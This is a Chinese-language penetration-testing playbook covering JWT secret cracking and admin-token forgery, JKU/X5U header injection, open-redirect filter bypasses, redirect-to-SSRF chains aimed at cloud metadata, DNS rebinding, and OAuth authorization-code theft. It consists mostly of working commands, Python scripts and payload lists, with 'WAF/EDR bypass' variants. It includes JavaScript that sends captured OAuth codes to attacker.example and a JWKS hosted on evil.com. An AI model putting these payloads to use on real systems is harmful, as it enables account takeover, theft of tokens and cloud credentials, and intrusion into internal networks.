**前置条件：** 目标JWT使用HMAC算法(HS256等)；已获取有效JWT样本；hashcat或jwt_tool

**攻击链：**

**1. 1. 确认算法和结构**
_确认JWT使用HMAC对称算法，此类算法的密钥可被爆破_
```
# 解码JWT Header
echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d
# {"alg":"HS256"}

# 确认是HMAC对称算法才可爆破
# HS256 / HS384 / HS512 = 可爆破
# RS256 / ES256 = 不可直接爆破密钥
```

**2. 2. hashcat GPU加速爆破**
_hashcat GPU加速破解JWT HMAC密钥_
```
# hashcat模式16500 = JWT
hashcat -m 16500 -a 0 jwt.txt /usr/share/wordlists/rockyou.txt

# jwt.txt内容为完整的JWT字符串
# eyJhbGci....signature

# 使用规则加速
hashcat -m 16500 -a 0 jwt.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# 掩码暴力破解(8位数字密钥)
hashcat -m 16500 -a 3 jwt.txt ?d?d?d?d?d?d?d?d
```

**3. 3. jwt_tool字典爆破**
_jwt_tool字典模式破解JWT密钥_
```
python3 jwt_tool.py {TOKEN} -C -d /usr/share/wordlists/rockyou.txt

# -C = 开启字典破解模式
# -d = 指定字典文件
# 也支持常见弱密钥快速测试
python3 jwt_tool.py {TOKEN} -C -d common_jwt_secrets.txt
```

**4. 4. 使用破解密钥伪造JWT**
_使用破解出的密钥签名伪造管理员JWT_
```
import jwt

secret = "cracked_secret_key"

forged = jwt.encode(
    {"user": "admin", "role": "superadmin", "exp": 1999999999},
    secret,
    algorithm="HS256"
)
print(f"Forged JWT: {forged}")

# 验证
curl -H "Authorization: Bearer $FORGED_JWT" "https://{TARGET}/api/admin"
```

**WAF/EDR 绕过变体：**

**1. 常见默认JWT密钥**
_优先尝试常见的默认/弱JWT密钥_
```
# 常见弱密钥列表
secret
password
123456
hs256-secret
jwt-secret
my-secret-key
changeme
default
qwerty
super-secret
your-256-bit-secret
secretkey
token-secret
application-secret
```

---

### JWT JKU/X5U头注入  `jwt-jku-x5u-injection`
利用JWT Header中的jku(JWK Set URL)或x5u(X.509 URL)参数，将密钥来源指向攻击者控制的服务器，使服务端使用攻击者的公钥验证JWT，从而实现令牌伪造。
子类：**Header注入** · tags: `JWT` `JKU` `X5U` `Header注入` `JWKS` `密钥劫持`

**前置条件：** 目标JWT支持jku/x5u Header参数；攻击者拥有公网服务器；Python环境

**攻击链：**

**1. 1. 探测JKU/X5U支持**
_检查JWT是否使用jku/x5u头以及目标JWKS端点_
```
# 解码JWT Header查看是否包含jku/x5u
echo "{JWT_HEADER}" | base64 -d | jq

# 常见原始Header
{"alg":"RS256","typ":"JWT","jku":"https://target.com/.well-known/jwks.json"}

# 检查JWKS端点
curl -s "https://{TARGET}/.well-known/jwks.json" | jq
curl -s "https://{TARGET}/.well-known/openid-configuration" | jq .jwks_uri
```

**2. 2. 生成攻击者密钥对**
_生成攻击者的RSA密钥对并构造JWKS文件_
```
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64

# 生成RSA密钥对
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()

# 导出PEM格式
with open("attacker_private.pem", "wb") as f:
    f.write(private_key.private_bytes(
        serialization.Encoding.PEM,
        serialization.PrivateFormat.PKCS8,
        serialization.NoEncryption()
    ))

# 生成JWKS格式公钥
numbers = public_key.public_numbers()
jwks = {"keys": [{"kty": "RSA", "kid": "attacker-key-1",
    "n": base64.urlsafe_b64encode(numbers.n.to_bytes(256, "big")).rstrip(b"=").decode(),
    "e": base64.urlsafe_b64encode(numbers.e.to_bytes(3, "big")).rstrip(b"=").decode(),
    "use": "sig", "alg": "RS256"}]}

with open("jwks.json", "w") as f:
    json.dump(jwks, f)
```

**3. 3. 托管JWKS并签名JWT**
_托管JWKS文件并用攻击者私钥签名JWT，jku指向攻击者服务器_
```
# 在攻击者服务器托管jwks.json
python3 -m http.server 8080
# http://evil.com:8080/jwks.json

import jwt

# 用攻击者私钥签名
with open("attacker_private.pem", "rb") as f:
    attacker_key = f.read()

forged = jwt.encode(
    {"user": "admin", "role": "admin", "exp": 1999999999},
    attacker_key,
    algorithm="RS256",
    headers={"jku": "http://evil.com:8080/jwks.json", "kid": "attacker-key-1"}
)
print(forged)
```

**4. 4. 验证攻击**
_使用注入了jku的伪造JWT访问管理员接口_
```
curl -s -H "Authorization: Bearer {FORGED_JWT}" \
  "https://{TARGET}/api/admin/users" | jq

# 服务端流程：
# 1. 解析JWT Header中的jku URL
# 2. 从evil.com获取JWKS公钥
# 3. 用攻击者公钥验证签名——通过!
# 4. 信任Payload中的admin身份
```

**WAF/EDR 绕过变体：**

**1. JKU URL绕过限制**
_利用开放重定向、子域名接管、URL混淆绕过jku域名白名单_
```
# 开放重定向绕过域名白名单
{"jku": "https://target.com/redirect?url=https://evil.com/jwks.json"}

# 子域名接管
{"jku": "https://abandoned.target.com/.well-known/jwks.json"}

# URL混淆
{"jku": "https://target.com@evil.com/jwks.json"}
{"jku": "https://evil.com#target.com/jwks.json"}
{"jku": "https://evil.com/.well-known/jwks.json?.target.com"}
```

---

### · 开放重定向

### 基础开放重定向  `redirect-basic`
URL跳转漏洞利用
子类：**基础** · tags: `redirect` `url` `phishing`

**前置条件：** 目标参数控制跳转地址

**攻击链：**

**1. 直接跳转**
_直接跳转到攻击者站点_
```
http://target.com/redirect?url=http://attacker.com
```

**2. 绕过验证**
_@符号绕过_
```
http://target.com/redirect?url=http://attacker.com@target.com
```

**3. 斜杠绕过**
_//绕过协议_
```
http://target.com/redirect?url=//attacker.com
```

**WAF/EDR 绕过变体：**

**1. URL编码与双编码绕过**
_通过URL编码、双重URL编码、Unicode同形字、CRLF注入等方式绕过跳转目标地址的白名单或黑名单检测_
```
# URL编码:
/redirect?url=%68%74%74%70%3a%2f%2fattacker.com
# 双编码:
/redirect?url=%2568%2574%2574%2570%253a%252f%252fattacker.com
# Unicode编码:
/redirect?url=http://attacker。com
/redirect?url=http://ⓐttacker.com
# CRLF注入:
/redirect?url=%0d%0aLocation:%20http://attacker.com
```

**2. 反斜杠与data: URI绕过**
_利用反斜杠在不同解析器中的差异行为、data: URI协议、多斜杠协议相对URL等方式绕过域名白名单验证_
```
# 反斜杠技巧:
/redirect?url=http://attacker.com@target.com
/redirect?url=//attacker.com
/redirect?url=/attacker.com

# data: URI:
/redirect?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

# 协议相对URL变体:
/redirect?url=//attacker.com
/redirect?url=///attacker.com
/redirect?url=////attacker.com
```

---

### 重定向绕过  `redirect-bypass`
开放重定向绕过技巧
子类：**Bypass** · tags: `redirect` `bypass`

**前置条件：** 存在重定向参数

**攻击链：**

**1. URL编码**
_使用URL编码_
```
redirect=http%3a%2f%2fattacker.com
```

**2. @符号**
_利用URL认证部分_
```
redirect=http://target.com@attacker.com
```

**3. 反斜杠**  _[windows]_
_使用反斜杠_
```
redirect=https:/\attacker.com
```

**WAF/EDR 绕过变体：**

**1. 反斜杠路径规范化**
_利用反斜杠在不同浏览器/服务器中的路径规范化差异绕过重定向域名白名单_
```
# 反斜杠替代正斜杠
https://target.com/redirect?url=https://evil.com\@target.com
https://target.com/redirect?url=https:\\evil.com

# 路径穿越绕过域名白名单
https://target.com/redirect?url=https://target.com/..%2f@evil.com
https://target.com/redirect?url=//evil.com/%2f..%2f

# 协议相对URL
https://target.com/redirect?url=//evil.com
https://target.com/redirect?url=\\evil.com
```

**2. URL片段与参数注入**
_利用URL片段标识符、参数污染和完整URL编码绕过服务端的重定向目标检查_
```
# 片段标识符混淆
https://target.com/redirect?url=https://target.com#@evil.com
https://target.com/redirect?url=https://target.com%23@evil.com

# 参数污染
https://target.com/redirect?url=https://target.com&url=https://evil.com
https://target.com/redirect?url=https://target.com%26next=evil.com

# 编码混淆
https://target.com/redirect?url=https%3a%2f%2fevil.com
https://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d
```

**3. 空字节与特殊字符截断**
_利用空字节截断URL校验、CRLF注入额外头部、特殊空白字符混淆URL解析_
```
# 空字节截断
https://target.com/redirect?url=https://target.com%00@evil.com
https://target.com/redirect?url=https://evil.com%00.target.com

# 换行符注入
https://target.com/redirect?url=https://evil.com%0d%0aLocation:%20https://evil.com

# Tab/空格混淆
https://target.com/redirect?url=https://evil .com
https://target.com/redirect?url=java%09script:alert(1)
https://target.com/redirect?url=\x09javascript:alert(1)
```

---

### 重定向到SSRF  `redirect-ssrf`
利用开放重定向漏洞作为跳板将SSRF探测引导到内部网络，绕过SSRF的URL白名单/黑名单限制
子类：**SSRF** · tags: `redirect` `ssrf`

**前置条件：** 目标存在开放重定向(Open Redirect)漏洞；目标存在SSRF功能点(URL参数/Webhook等)；SSRF过滤仅检查初始URL而不跟踪重定向

**攻击链：**

**1. 识别开放重定向点**  _[linux]_
_寻找目标站点的开放重定向端点和参数_
```
# 常见重定向参数:
curl -sI "http://target.com/redirect?url=https://evil.com" | grep -i location
curl -sI "http://target.com/login?next=https://evil.com" | grep -i location
curl -sI "http://target.com/goto?link=https://evil.com" | grep -i location

# 批量测试常见参数:
for param in url redirect next goto link return returnUrl callback dest destination rurl; do
  status=$(curl -sI "http://target.com/redirect?${param}=https://evil.com" -o /dev/null -w "%{http_code}")
  location=$(curl -sI "http://target.com/redirect?${param}=https://evil.com" | grep -i "^location:" | head -1)
  echo "${param}: HTTP ${status} → ${location}"
done
```

**2. 通过重定向绕过SSRF过滤**  _[linux]_
_利用目标自身的重定向端点绕过SSRF的域名白名单限制_
```
# 场景: SSRF接口检查URL域名白名单，但不检查重定向目标

# 正常SSRF请求(被拦截):
curl "http://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/"
# → 返回: "Blocked: internal IP"

# 通过重定向绕过:
# 1. 先确认重定向有效:
curl -sI "http://target.com/redirect?url=http://169.254.169.254/latest/meta-data/"

# 2. 将重定向URL作为SSRF输入:
curl "http://target.com/api/fetch?url=http://target.com/redirect?url=http://169.254.169.254/latest/meta-data/"
# → SSRF过滤看到target.com(白名单内)，放行
# → 服务端跟随重定向到169.254.169.254
# → 返回AWS元数据
```

**3. 短链接和DNS重绑定辅助**
_使用短链接、自建重定向和DNS重绑定辅助SSRF绕过_
```
# 如果目标站点没有开放重定向，使用外部服务:

# 1. 短链接服务重定向:
# 创建短链接指向内部IP: bit.ly/xxxxx → http://192.168.1.1
curl "http://target.com/api/fetch?url=https://bit.ly/xxxxx"

# 2. 自建重定向服务器:
# Python Flask:
# @app.route("/redirect")
# def redir():
#     return redirect("http://169.254.169.254/latest/meta-data/")
curl "http://target.com/api/fetch?url=http://attacker.com/redirect"

# 3. DNS重绑定:
# 使用rbndr.us等工具，DNS记录在attacker-IP和内部IP之间切换
# 第一次解析: attacker.com → 1.2.3.4 (通过IP检查)
# 第二次解析: attacker.com → 169.254.169.254 (实际请求)
curl "http://target.com/api/fetch?url=http://a]c0a80101.rbndr.us/"
```

**4. 完整利用链: 重定向→SSRF→内网探测**
_利用重定向→SSRF链批量探测内部网络资源_
```
# 完整攻击链:
import requests

TARGET = "http://target.com"
SSRF_URL = f"{TARGET}/api/fetch?url="
REDIR_URL = f"{TARGET}/redirect?url="

# 通过重定向探测内网:
internal_targets = [
    "http://169.254.169.254/latest/meta-data/",
    "http://127.0.0.1:8080/",
    "http://192.168.1.1/",
    "http://10.0.0.1/",
    "http://172.16.0.1/",
]

for internal in internal_targets:
    # 构造: SSRF → 重定向 → 内网目标
    payload = f"{SSRF_URL}{REDIR_URL}{internal}"
    try:
        r = requests.get(payload, timeout=5)
        if r.status_code == 200 and len(r.text) > 0:
            print(f"[+] FOUND: {internal}")
            print(f"    Response: {r.text[:200]}")
        else:
            print(f"[-] {internal}: HTTP {r.status_code}")
    except Exception as e:
        print(f"[!] {internal}: {e}")
```

**WAF/EDR 绕过变体：**

**1. URL解析差异利用**
_利用不同URL解析库（cURL/urllib/Java URL）对authority/host部分解析的差异绕过SSRF白名单_
```
# 利用URL解析库差异
http://evil.com#@target.com
http://evil.com\@target.com
http://target.com@evil.com

# 特殊URL格式
http://evil。com (全角句号)
http://ⓔⓥⓘⓛ.com (Unicode圆圈字符)
http://evil%E3%80%82com

# IPv6地址混淆
http://[::ffff:127.0.0.1]
http://[0:0:0:0:0:ffff:127.0.0.1]
```

**2. DNS重绑定攻击**
_通过DNS重绑定在URL校验和实际请求之间切换解析结果，绕过SSRF的IP黑名单_
```
# DNS Rebinding攻击步骤
# 1. 配置DNS服务器交替返回不同IP
# evil.com -> 第1次解析: 公网IP（通过校验）
# evil.com -> 第2次解析: 127.0.0.1（实际请求）

# 使用rbndr.us自动DNS重绑定
http://7f000001.c0a80001.rbndr.us/internal

# 使用1u.ms
http://make-127.0.0.1-rr.1u.ms/admin

# TOCTOU: 检查时域名解析到白名单IP，请求时解析到内网IP
```

**3. IP地址混淆表示**
_使用十进制、八进制、十六进制和IPv6映射等不同方式表示内网IP绕过黑名单检查_
```
# 十进制IP
http://2130706433  (= 127.0.0.1)
http://3232235777  (= 192.168.1.1)

# 八进制IP
http://0177.0.0.1  (= 127.0.0.1)
http://0x7f.0.0.1  (= 127.0.0.1)

# 混合进制
http://0177.0x0.0.1
http://127.1  (省略零段)
http://127.0.1

# IPv6映射
http://[::1]
http://[::]  (= 0.0.0.0)
http://[::ffff:7f00:1]
```

### OAuth 授权码劫持 — 在 redirect_uri 内执行的 JS payload

OAuth 中 `redirect_uri` 若允许任意子路径(或 open redirect / XSS 落点),攻击者可在跳转后的页面执行 JS 把 `code` exfil 到自己服务器,完成无感劫持。受害者只看到正常的 OAuth 同意流程。

```javascript
// 在攻击者控制的 redirect_uri 页(或 redirect_uri 域上的 XSS sink)中执行
var urlParams = new URLSearchParams(window.location.search);
var capturedCode = urlParams.get('code');  // 也可换成 'access_token' / 'id_token'(fragment 模式)

if (capturedCode) {
    var http = new XMLHttpRequest();
    // GET 模式带在 query;实战推荐 fetch + no-cors 或 navigator.sendBeacon 以规避 CSP report-only
    http.open("GET", "https://attacker.example/log_code.php?code=" + encodeURIComponent(capturedCode), true);
    http.send();
}

// implicit / hybrid flow(token 在 fragment):
// var fragParams = new URLSearchParams(window.location.hash.slice(1));
// var token = fragParams.get('access_token') || fragParams.get('id_token');
```

**何时用**:`redirect_uri` 校验允许 `https://target.com/anywhere` 子路径任意,且子路径有 XSS / 第三方 widget 注入面。证明影响时只对自己控制的两个账号操作,不要诱导真实用户点击。

### OAuth / redirect_uri URL 解析差异 — 通用绕过库

服务端常用 startsWith / parse_url / regex 比对 redirect_uri,但客户端浏览器解析按 [RFC 3986 + WHATWG URL](https://url.spec.whatwg.org/) 实际跳转,两者解析差异 → 跳转到攻击者域:

```text
# 用户态字符歧义(@、./、@host 形式)
https://example.com?@www.attacker.com/
https://example.com/@www.attacker.com/
https://www.attacker.com@example.com/
https://www.attacker.com.example.com/
https://example.com?.www.attacker.com/
https://example.com#.www.attacker.com/
https://example.com/.www.attacker.com/

# 双重 URL 嵌套
https://example.com/https://www.attacker.com/
https://example.com%2f@example.com/        # %2f 解码歧义
https://example.com%2f@attacker.com/

# 反斜杠 (`\`) — 部分库视为 path-sep,浏览器视为 host-sep
https://example.com\@www.attacker.com/
https://example.com\\@www.attacker.com/
https://www.attacker.com\@example.com/

# 字符集编码绕过(后端做 mb_convert_encoding / iconv 时,%ff / %df 可能消失或合并下一字节)
https://example.com%ff@www.attacker.com/
https://example.com%df@www.attacker.com/

# 字符集解码后端样本(PHP):
# $url = mb_convert_encoding($_GET['url'], "GBK", "UTF-8");
# %df 在 GBK 下与下一字节合并,host 段被吞掉
```

**真实命中要点**:
- 服务端用 `parse_url` / `urlparse` 取 host 后做白名单比对,但客户端按 WHATWG 实际跳转 → 解析差异
- 服务端做编码转换(GBK / Big5 / Shift-JIS)前先比对 → 解码后 host 改变
- 反斜杠在 Go / Node.js / Python 部分库视为 path 分隔符,浏览器视为 host 分隔符

**报告价值**:从中危(open redirect)升到高危(账号接管)的关键是结合上面 §OAuth 授权码劫持 payload 证明可拿到他人 `code`。仍仅自演,不抓真实用户 code。

---
